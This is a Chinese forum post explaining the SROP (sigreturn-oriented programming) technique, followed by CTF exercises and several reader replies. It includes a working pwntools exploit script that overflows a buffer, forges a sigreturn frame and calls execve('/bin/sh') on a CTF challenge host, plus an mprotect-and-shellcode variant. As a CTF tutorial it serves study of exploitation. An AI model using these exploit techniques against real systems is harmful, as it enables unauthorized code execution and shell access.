首页
社区
课程
招聘
[原创] SROP分析及例题
发表于: 2020-3-10 19:22 13540

[原创] SROP分析及例题

2020-3-10 19:22
13540

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#srop
https://blog.csdn.net/luozhaotian/article/details/79607572
https://www.anquanke.com/post/id/85810
https://www.freebuf.com/articles/network/87447.html
其中的重点就是

需要注意的是,我们在构造 ROP 攻击的时候,需要满足下面的条件
1.可以通过栈溢出来控制栈的内容
2.需要知道相应的地址

3.需要有够大的空间来塞下整个 sigal frame

32 位的 sigreturn 的调用号为 77;在 64 位系统中,sigreturn 系统调用对应的系统调用号为 15。寄存器 eax 中存放系统调用号,同时系统调用返回值也存放在 eax 中。
以64位系统为例,只需要RAX=15,并且执行 syscall 即可实现调用 sigreturn 调用。而 RAX 寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说 read 函数的返回值为读取的字节数

伪造sigcontext结构,push到栈中。伪造过程中需要将eax,ebx,ecx等参数寄存器设置为相关值,eip设置为syscall的地址。并且需要注意的是esp,ebp和es,gs等段寄存器不可直接设置为0,经过个人测试,这样不会成功。

然后将返回地址设置为sigreturn的地址(或者相关gadget)。

最后当sigreturn系统调用执行完后,就直接执行你的系统调用了。

保护全开


由汇编代码可得调用了read(fd, &buf, 0x400) write(fd, &buf, 0x30)
存在溢出
本题中存在的对栈的处理pop push就只有 开始的push rbpret=pop rip
所以最后返回的rip被rbp赋值,我们可以覆盖到rbp从而改变了返回地址


同时还能发现故意设置的gadgets

pwntools 中已经集成了对于 srop 的攻击:https://docs.pwntools.com/en/stable/rop/srop.html

execve的函数定义

所以实际上我们要调用

查找ropgadget

没有找到rdx,直接使用__libc_csu_init传参

比较麻烦

参考 :https://zhuanlan.zhihu.com/p/106014234

看了一下,整个二进制文件都分析不清楚,只能get到漏洞点
32位牵扯到了VDSO
https://github.com/ctfs/write-ups-2015/tree/master/defcon-qualifier-ctf-2015/pwnable/fuckup
http://binja.github.io/2015/05/19/defconctf2015-fuckup-writeup/

ida少的可怜,总之实现了read(0, $rsp, 0x400)

没有给我们可用的sigreturn,这就用到前文说的:

以64位系统为例,只需要RAX=15,并且执行 syscall 即可实现调用 sigreturn 调用。而 RAX 寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说 read 函数的返回值为读取的字节数

我们希望通过syscall调用execve("/bin/sh", 0, 0) 跟第一题有点像哈

SROP + mprotect + shellcode
前面部分和整体思想和法一是一样的,只是最后不是execve 而是用mprotext修改内存区属性再写入shellcode拿shell
这个参考:https://bestwing.me/2017-360chunqiu-online.html 学到的新方法

Linux/x64 - Execute /bin/sh Shellcode (24 bytes)

 
 
 
 
    /*for x86*/

    mov eax,0x77

    int 80h



    /*for x86_64*/

    mov rax,0xf

    syscall
| sig_ret|  <---esp
| .......|
|        |
| frame  |  
|........|
|        |
——————————
#!usr/bin/python
from pwn import *
context(arch='amd64', os='linux', log_level = 'DEBUG')
context.log_level = 'debug'

# io = process('./s3')
io = remote("node3.buuoj.cn",28503)
elf = ELF("./s3")

vuln_addr = 0x00000000004004ED
sigreturn_addr = 0x00000000004004DA
syscall_addr = 0x0000000000400501


payload  = "/bin/sh\x00"
payload  = payload.ljust(0x10, 'a')
payload += p64(vuln_addr)
io.send(payload)
io.recv(0x20)
binsh_addr = u64(io.recv(8))-280        # 0x00007fffffffde08 - 0x00007fffffffdcf0 = 280
print "binsh_addr = " +hex(binsh_addr)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

payload  = "/bin/sh\x00"
payload  = payload.ljust(0x10, 'a')
payload += p64(sigreturn_addr) + p64(syscall_addr) + str(frame)
io.send(payload)

io.interactive()

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2020-3-10 19:28 被plkk编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (4)
雪    币: 2510
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
帮顶
2020-3-13 18:06
1
雪    币: 5
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
顶一下,真的挺好的
2020-4-1 23:01
0
雪    币: 202
活跃值: (206)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
赞,可以申请加优
2020-4-21 11:45
0
雪    币: 4230
活跃值: (1435)
能力值: (RANK:270 )
在线值:
发帖
回帖
粉丝
5
感谢分享,可以上传下相关题目的附件,方便大家学习
2020-4-26 22:52
0
游客
登录 | 注册 方可回帖
返回
//